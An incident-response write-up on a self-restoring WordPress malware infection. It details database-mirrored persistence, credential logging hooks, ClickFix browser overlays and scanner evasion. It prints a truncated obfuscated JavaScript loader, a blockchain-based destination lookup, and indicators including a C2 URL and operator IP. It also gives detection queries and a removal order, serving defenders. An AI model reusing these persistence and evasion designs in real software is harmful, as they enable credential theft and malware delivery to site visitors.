Seven copies, four tables, one file: the WordPress infection that rebuilt itself from its own database
A new client contacted us regarding a site that continually reinfected within minutes of every cleanup. The reason was not a file anyone had missed. The malware had turned the database into a mirror of itself, and every copy knew how to rebuild every other copy.
The site had been through a partial remediation months earlier after a password compromise. Visible components were removed. The restore graph was not. From the attacker’s side nothing changed except that the owner stopped looking, and five months of credential capture followed.
This is the full architecture, the removal order that finally broke it, and the indicators to hunt for on your own estate.
What the payload set actually did
Three jobs running side by side.
It captured every login credential in plaintext, hooking authenticate at priority 999 and, in the newer build, after_password_reset as well. It served a fake verification screen to desktop visitors, the ClickFix pattern where the page instructs a person to paste a command into the Windows Run dialog. And it maintained a full remote access console with shell execution, arbitrary SQL, file management and hidden administrator creation.
All of that is fairly ordinary. The persistence design is what makes this one worth writing up.
Seven database restore sources
One executing file wrote copies of itself into seven database locations. Five request-triggered stubs on disk could each read those copies back and rewrite the executing file. Deleting files restored them from the database. Deleting database rows let the files rewrite them. Nothing in the loop was load-bearing on its own.
DATABASE STORAGE EXECUTOR ON-DISK ARTIFACTS
_wp_rewrite_rules_cache <---+ +---> 5 x scatter stubs
94,764 bytes | | /fonts /cache
| | /languages
_core_performance_..._wcfg <-+ | /uploads /upgrade
94,764 bytes | |
| mu-plugins/ +---> db.php
wp_postmeta _..._pcache <-+ object-cache- | advanced-cache.php
wp_usermeta _..._uprefs <-+ bridge.php | (raw PDO, pre-boot)
wp_termmeta _..._torder <-+ 71,073 bytes |
wp_commentmeta _..._cstatus<-+ every request +---> auto-security-toolkit
| |
_core_performance_..._bcdata<+ +---> gallery-thumb-*.jpg
15,096 bytes | | (credential log)
| |
_core_user_meta_cache <-+ +---> wp_users / wpmonitor
9,234 bytes (hidden admin)
wp_<10 hex>_cfg x 21
browser payloads
---> executor writes
<--- restores the executor
Read that as a graph rather than a chain. There is no root node to remove. The executor is the only component that runs on its own; everything else is inert storage or a passive stub waiting for an authenticated request. Take the executor out first and the graph collapses. Take anything else out first and it is rebuilt within one page load.
The database infection in detail
This is the part most cleanups miss. Almost every WordPress malware guide focuses on files. This infection put roughly 250KB of itself into the database and treated the filesystem as disposable.
Naming that survives a scan
Every option name was chosen to look like something WordPress or a caching plugin would create. _wp_rewrite_rules_cache sits one underscore and one suffix away from the real rewrite_rules option. _core_user_meta_cache and _core_performance_config_* read like the internals of a performance plugin. On a site with 400 autoloaded options, none of these draw the eye.
All of them were set with autoload = no. That keeps the row out of the options array loaded on every request, so it never appears in a bootstrap dump and never inflates the autoload total that Site Health reports on. The mu-plugin also unhooked the autoloaded_options health check entirely, which suggests they had been caught by it before.
| option_id | option_name | bytes | role |
|---|---|---|---|
| 7168 | _wp_session_tokens_data |
6,560 | credential log, v1 format |
| 7180 | _tds_stats |
330 | redirect impression counter |
| 7276 | wp_a26c00cc40_cfg |
7,276 | browser payload, first wave |
| 7278 | wp_e3ef2393dd_cfg |
8,292 | browser payload, first wave |
| 7372 | _wp_rewrite_rules_cache |
94,764 | mu-plugin backup |
| 7373 | _core_performance_config_wcfg |
94,764 | mu-plugin backup, duplicate |
| 7376 | _core_user_meta_cache |
9,234 | credential log, v2 format |
| 7424 | _core_performance_config_bcdata |
15,096 | second plugin body |
| 7425 | _core_performance_config_bcmeta |
77 | manifest naming that plugin |
| 7422+ | wp_<10 hex>_cfg x 19 |
~8,200 avg | browser payloads, second wave |
Option IDs are sequential and the malware never rewrote them, which makes them one of the few timestamps on a compromised site you can actually trust. The gap between 7278 and 7372 is the fingerprint of two separate injection events months apart. The two credential stores in different formats, at 7168 and 7376, tell the same story: an initial compromise, then a later upgrade to a newer build of the same toolkit.
Four metadata tables nobody checks
Beyond the two options, the mu-plugin mirrored its own base64 body into wp_postmeta, wp_usermeta, wp_termmeta and wp_commentmeta, attached to the first row of each parent table and refreshed on a six-hour transient gate.
This is the piece that defeats almost every cleanup. A responder who finds the two options, deletes them and removes the files has removed five of seven restore sources and will watch the infection return anyway.
SELECT 'postmeta' t, meta_id id, LENGTH(meta_value) b FROM wp_postmeta
WHERE meta_key = '_core_performance_config_pcache'
UNION ALL SELECT 'usermeta', umeta_id, LENGTH(meta_value) FROM wp_usermeta
WHERE meta_key = '_core_performance_config_uprefs'
UNION ALL SELECT 'termmeta', meta_id, LENGTH(meta_value) FROM wp_termmeta
WHERE meta_key = '_core_performance_config_torder'
UNION ALL SELECT 'commentmeta', meta_id, LENGTH(meta_value) FROM wp_commentmeta
WHERE meta_key = '_core_performance_config_cstatus';
A query that does not need the names
Names change between builds. Shape does not. A multi-kilobyte, purely base64 option value is almost never legitimate, and this one query found the backups on every affected site we checked afterwards.
SELECT option_id, option_name, autoload, LENGTH(option_value) len
FROM wp_options
WHERE LENGTH(option_value) > 5000
AND option_value REGEXP '^[A-Za-z0-9+/=[:space:]]+$'
ORDER BY len DESC;
SELECT option_name, LEFT(FROM_BASE64(option_value), 60)
FROM wp_options WHERE option_name = '<candidate>';
Credentials stored in the clear
The v1 format was plaintext user:pass, one per line. The v2 format XORed timestamp|ip|site_url|user|pass against md5(secret) and base64ed the result. The secret was hardcoded in the mu-plugin, so the log was trivially readable.
The authenticate filter did not exclude the attacker’s own hidden administrator account. One decoded line was a successful interactive login by the operator, with source IP, timestamped two days before we started. That single line turned a “the site has malware” report into a documented intrusion with a date, an actor IP and a proven account takeover.
The after_password_reset hook matters just as much. A password changed during a partial cleanup is captured along with everything else, which is exactly how an attacker keeps access through a remediation attempt.
Cron, hidden in plain sight
The cron option held 39 entries. Twenty-one followed the pattern _<6 hex>_cleanup on a daily schedule, one per browser payload. Two more ran hourly under names built to survive a skim: db_connection_verify_0dad and wp_39a70cd2_tick. There was also one entry with an empty string as the hook name, which WordPress will happily fire.
Worth knowing: setting DISABLE_WP_CRON does not stop any of this on a managed host that calls wp-cron.php over HTTP from a system crontab. We watched exactly that happen mid-cleanup.
How each restore path worked
The hourly cron restorer. An init hook scheduled an hourly event that checked for the mu-plugin and, if absent, decoded the backup option and wrote it back. It re-read its own killswitch option at fire time rather than at registration, which is more careful than most.
The integrity checker. A separate init hook stored md5_file() of the mu-plugin in a transient and compared on every request. Any mismatch triggered a rewrite from the database, so gutting the file in place does not work either.
The drop-in patcher. The most robust of the five. It appended a restore block to advanced-cache.php, db.php and object-cache.php, and added define('WP_CACHE', true) to wp-config.php to guarantee the first one executes. The injected block opens a raw PDO connection using the wp-config constants and pulls the mu-plugin straight from the database. Because drop-ins load before mu-plugins, and because it uses PDO rather than get_option(), this path works even when WordPress itself has not booted. It is what kept regenerating the mu-plugin after we thought we had stopped execution.
The scatter stubs. Five small PHP files in directories that are writable but rarely inspected: wp-content/fonts, /cache, /languages, /uploads and /upgrade. Each returns silently unless the request carries ?_wph= plus the first 16 characters of the shared secret. Given that gate, they expose a mode switch: p executes PHP by writing a temp file and including it rather than calling eval, r restores the mu-plugin from the database, h creates or takes over an administrator, a logs in via an HMAC-signed URL, u overwrites the stub with new code, and s returns a status ping. Each stub is a complete re-entry point on its own.
Choosing wp-content/cache as one of the five is a pointed detail. That directory gets wiped routinely by caching plugins, so a responder who purges cache and sees the file disappear reads it as progress. The six-hour self-heal puts it back.
The second plugin. A 30-minute check read a 77-byte manifest option naming a plugin slug and file, verified the file existed and exceeded 500 bytes, and if not wrote it out from a second body option and re-added it to active_plugins. Its only visible code removed emoji scripts, which is a real thing performance plugins do.
The payload the visitor actually saw
The 21 wp_<10 hex>_cfg options held the part that ran in a visitor’s browser. The delivery design is the genuinely unusual bit.
Two stages
(function(){
var _fea96=[176,153,74,154,87,151,137,225, /* ...256 values... */ ],
_3cfd9=atob("DTU0GPPobZ4YDfGcgbtQdzD0NXGDS/8Z71DocSYYnqIN8a6B..."),
_e52ab=[];
for(var _8090=0;_8090<_3cfd9.length;_8090++)
_e52ab.push(String.fromCharCode(_fea96[_3cfd9.charCodeAt(_8090)]));
(new Function(_e52ab.join("")))()
})()
The array is a byte substitution table. Base64-decode the string, map each byte through the table, and you have the real source, handed to new Function() rather than eval because most naive scanners only pattern-match on the latter.
This is not sophisticated cryptography and should not be described as such. It is a substitution cipher with the key shipped alongside the ciphertext, and it unwinds in about ten lines:
import base64, re, json
def deobfuscate(blob_b64):
src = base64.b64decode(blob_b64).decode('utf-8', 'replace')
table = json.loads(re.search(r'=(\[[0-9,\s]+\])', src).group(1))
inner = base64.b64decode(re.search(r'atob\("([^"]+)"\)', src).group(1))
return ''.join(chr(table[b]) for b in inner)
What the obfuscation buys the attacker is not secrecy. It is that a signature scanner reading the database sees a wall of base64 and no recognisable strings: no URL, no domain, nothing to match on.
The destination lives on a blockchain
Stage two contains no destination URL. It builds an eth_call against a fixed contract address on Polygon, fires it at six public RPC endpoints in parallel, takes whichever answers first via Promise.any, and ABI-decodes a string out of the response.
{jsonrpc:'2.0', id:1, method:'eth_call',
params:[{to:'0x08207B08...d6eD308', data:'0x38bcdc1c'}, 'latest']}
polygon.drpc.org polygon-bor-rpc.publicnode.com
polygon.lava.build polygon.rpc.subquery.network
polygon-public.nodies.app polygon-pokt.nodies.app
There is no domain to report and no host to contact. The operator rotates the destination for every infected site worldwide by sending one transaction, for a fraction of a cent. The requests go to legitimate infrastructure providers that plenty of ordinary sites talk to, so outbound-domain baselining does not flag them, and blocklist-based defence has nothing to bite on. The only durable indicator is the contract address itself.
Careful targeting, which is why the owner never saw it
Before doing anything, the payload filters hard. It returns immediately if either suppression cookie is present, excludes anything under 768px wide as mobile and 768 to 1024 as tablet, then excludes iOS and Android by user agent regardless of screen size.
Only Windows, macOS and Linux desktop visitors are targeted, and each one sees it once. A site owner who checks on a phone sees a clean site. A site owner who checks on a laptop sees it once, dismisses it, and is then exempt for 90 days by cookie. This is a large part of why these infections run for months before anyone reports them.
The overlay
With a URL in hand, it builds a full-viewport white div at z-index:2147483647 containing an iframe pointed at the fetched destination. The important attribute is this one:
iframe.setAttribute('allow', 'clipboard-write');
That is the tell for ClickFix. The remote page renders a convincing “verify you are human” screen, writes a command into the visitor’s clipboard, and instructs them to press Win+R and paste. The victim installs the malware themselves. Nothing malicious is ever downloaded to the site and no exploit is used, which is why site-level scanners see nothing unusual even while the overlay is rendering.
On a cf-captcha-verified, tds-dismiss or close postMessage from the frame, the overlay removes itself and sets the suppression cookies for 30 and 90 days.
A builder fingerprint, by accident
Stage two opens with an anti-debugging check that measures how long a debugger statement takes and bails if a devtools pane is open. It reads performance.now() - _9866d, where _9866d was never declared. The ReferenceError is swallowed by the surrounding try/catch, so the check never fires and the payload runs happily with devtools open.
It is a typo in the generator, which means it should appear in every payload this kit produces. That makes it a useful clustering signal when you are working out whether two infections on unrelated sites came from the same builder.
Anti-forensics worth knowing about
- Scanner evasion. The mu-plugin checked the user agent for Wordfence, Sucuri, WPScan, Nessus, Acunetix, Burp, Nikto and sqlmap. On a match it set a transient and went dormant for 30 minutes. Scans had been running against a sleeping payload.
- Admin evasion. Logged-in administrators saw nothing, and the visitor IP of any admin who logged in was cached for six hours, so the site looked clean to the owner even in a private window.
- Timestamp forgery. Every write copied mtime from
wp-includes/version.phponto the new file. File modification dates on that site are worthless. Use ctime, which no userspace call can backdate, and option IDs. - UI filtering. Hooks on
pre_user_query,views_users,all_plugins,pre_current_active_plugins,debug_informationandsite_transient_update_pluginshid the extra administrator and the extra plugin from every admin screen, including decrementing the user count so the totals still added up. - A heartbeat to the operator. Every 60 seconds the site posted a JSON status to the C2 reporting which persistence mechanisms were still alive: mu-plugin present, DB backup present, cron scheduled, each drop-in patched, scatter count as
n/5, hidden admin present. The operator was watching the cleanup in real time. - Decoys. A harmless
health-check.phpmu-plugin existed purely to be found and removed.
The one that cost us the most time: a second malicious mu-plugin sat in the same directory under a legitimate-looking name. Each time we deleted the obvious one, the other stayed and kept executing. When a directory can auto-load code, inventory the whole directory before deleting anything in it, and quarantine by moving the directory rather than removing files one at a time.
Timeline
March. Initial access via compromised credentials. Option IDs place the first payloads and the v1 credential store here.
March 23 to 29. The impression counter recorded 1,215 desktop visitors served the fake verification overlay across seven consecutive days, then stopped writing when its config self-destructed on a TTL. The redirect layer went dormant. Everything else kept running.
Spring. Partial remediation. Visible components removed, database copies and metadata mirrors left in place.
August 9. A legitimate magic-login mu-plugin appeared on the site. Unmodified, but nobody on the owner’s side installed it.
August 22. The hidden administrator authenticated interactively. Recorded, with timestamp and source IP, by the attacker’s own credential logger.
August 24. Full teardown. Executor removed, all seven database sources deleted, stubs and drop-ins cleared, credentials rotated. Credential stuffing against the login form continued throughout the session.
The removal order that worked
We tried this in several orders. Only one holds, and the reason is straightforward: as long as anything is executing, the database refills the filesystem, and as long as the database has copies, the filesystem refills itself.
- Cut the operator’s visibility. Block egress to the C2 and return 444 on the stub paths and the REST namespace. The heartbeat is how they know you have started.
- Stop execution. Inventory the mu-plugins directory, then remove every malicious file in it at once. Check the three drop-ins for the injected marker in the same pass, since they load earlier.
- Verify execution stopped. Delete the artifacts, issue a request, confirm nothing regenerates. Do not proceed until this is clean.
- Empty the database. All options, all four metadata tables, the whole cron array, the hidden administrator, then flush the object cache. Redis will happily keep serving what you just deleted.
- Clear the remaining artifacts. Stubs, second plugin, credential files, temp and backup leftovers.
- Replace, do not clean, anything core. Fresh core, fresh plugins from vendor sources, and a manual read of the theme functions file and
wp-login.php. - Rotate everything. Passwords, salts, database credentials, hosting and SFTP. Only after step 3 is confirmed, or the new passwords are captured too.
- Wait an hour and re-verify. The slowest restore path is hourly.
One practical note: making a file immutable stops deletion, not execution. We pinned the mu-plugin with chattr +i early on and it kept running perfectly happily, kept rewriting the drop-ins, and quietly made a later delete fail in a way that looked like reinfection. Immutability is useful for holding a known-empty path, not for containing live code.
Indicators
Filenames and option name prefixes vary between builds. The shared secret, the C2 host, the hidden username and the parameter names have been consistent, which makes them the better hunting strings across a fleet.
Shared secret, first 16 a3f8b2c1d4e5f607
C2 endpoint https://burunduktracker.xyz/beacon/
Operator IP 212.87.218.119
Hidden administrator wpmonitor
Drop-in marker _ac_20ecd616
wp-login marker _wpc_e1dc0654
Option prefix _core_performance_config_*
Payload option pattern ^wp_[0-9a-f]{10}_cfg$
Request parameters ?_wph= ?_check= ?wp_debug_session=
Auth cookie wp_cache_token = sha256(secret + hour)
REST route /wp-json/media-opt/v1/token
Browser payload C2 Polygon contract
0x08207B087F61d7e95E441E15fd6d40BEfd6eD308
# filesystem
grep -rl "a3f8b2c1d4e5f607\|burunduktracker\|_ac_20ecd616\|_core_performance_config" \
/var/www/*/htdocs/ 2>/dev/null
# fake images carrying credential logs
find /var/www/*/htdocs/wp-content/uploads -name '*.jpg' -size -100k \
-exec sh -c 'head -c 4 "$1" | grep -qP "\xff\xd8" || echo "$1"' _ {} \;
# database
SELECT option_name FROM wp_options
WHERE option_name LIKE '\_core\_performance\_config%'
OR option_name REGEXP '^wp_[0-9a-f]{10}_cfg$';
SELECT ID FROM wp_users WHERE user_login = 'wpmonitor';
What we would tell another responder
Treat the database as primary, not secondary. This infection kept about 250KB of itself in wp_options and four metadata tables and treated files as expendable. A file-only cleanup was never going to hold, and the responder who does one will honestly believe the site is clean.
A partial cleanup is worse than none. The spring remediation removed the visible components and left the restore graph intact. From the attacker’s side nothing changed except that the owner stopped looking.
Rotate credentials last, and verify first. With after_password_reset hooked, a password changed during cleanup is captured like any other.
The attacker’s own logs are your best evidence. The credential store gave us a dated operator login with a source IP. The impression counter gave us seven dated days of visitor exposure. Export both before you delete them, because for a client facing a notification decision those two artifacts are the entire factual basis.
Know when to stop cleaning. Five months of dwell time, an unknown entry vector, interactive access during the remediation window, and a filesystem where every timestamp is forged. At that point there is no query that proves a negative. The honest recommendation is a rebuild on fresh infrastructure with content migrated selectively, and the distinction between “no known indicators remaining” and “clean” belongs in writing.
Site identifiers have been removed. Indicators are published deliberately so other responders can hunt for the same toolkit.
